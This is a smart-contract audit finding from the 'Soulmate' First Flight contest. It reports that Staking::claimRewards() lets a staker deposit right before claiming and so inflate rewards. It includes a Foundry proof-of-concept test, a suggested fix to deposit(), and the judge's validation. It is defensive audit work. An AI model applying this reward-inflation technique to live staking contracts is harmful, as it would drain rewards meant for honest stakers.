First Flight #9: Soulmate
First Flight #9
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Stakers can inflate their staking rewards

honour

Description:
In Staking::claimRewards() the staking rewards is calculated as uint256 amountToClaim = userStakes[msg.sender] * timeInWeeksSinceLastClaim ,stakers can call Staking::deposit to increase their userStakes just before claiming rewards

Proof of Concept:

function test_InflatingRewards() public {
_depositTokenToStake(10 ether); //10 loveTokens
​
vm.warp(block.timestamp + 1 weeks);
//both have 10 loveTokens staked, claim 10 loveTokens after a week
vm.prank(soulmate1);
stakingContract.claimRewards();
vm.prank(soulmate2);
stakingContract.claimRewards();
​
vm.warp(block.timestamp + 1 weeks);
vm.prank(soulmate2);
loveToken.transfer(soulmate1, 10 ether); //sends tokens to soulmate1
vm.startPrank(soulmate1);
loveToken.approve(address(stakingContract), 10 ether);
stakingContract.deposit(10 ether); //increases stake by 10 loveTokens before claiming
uint256 balanceBeforeClaim = loveToken.balanceOf(soulmate1);
stakingContract.claimRewards(); //now claims 20 loveTokens instead of 10
vm.stopPrank();
assertTrue(
loveToken.balanceOf(soulmate1) - balanceBeforeClaim == 20 ether
);
}

Tools Used:
Manual Review

Recommendation:
Staking::claimRewards should be called on deposit and lastClaim should be reset

​
function deposit(uint256 amount) public {
if (loveToken.balanceOf(address(stakingVault)) == 0)
revert Staking__NoMoreRewards();
// No require needed because of overflow protection
userStakes[msg.sender] += amount;
if (lastClaim[msg.sender] == 0) {
lastClaim[msg.sender] = block.timestamp;
} else {
claimRewards();
}
loveToken.transferFrom(msg.sender, address(this), amount);
}

Note this approach prevents stakers from increasing their stake below 1 week intervals because Staking::claimRewards will revert and it should be the desired approach

Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-claimRewards-multi-deposits-time

High severity, this allows users to claim additional rewards without committing to intended weekly staking period via multi-deposit/deposit right before claiming rewards.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.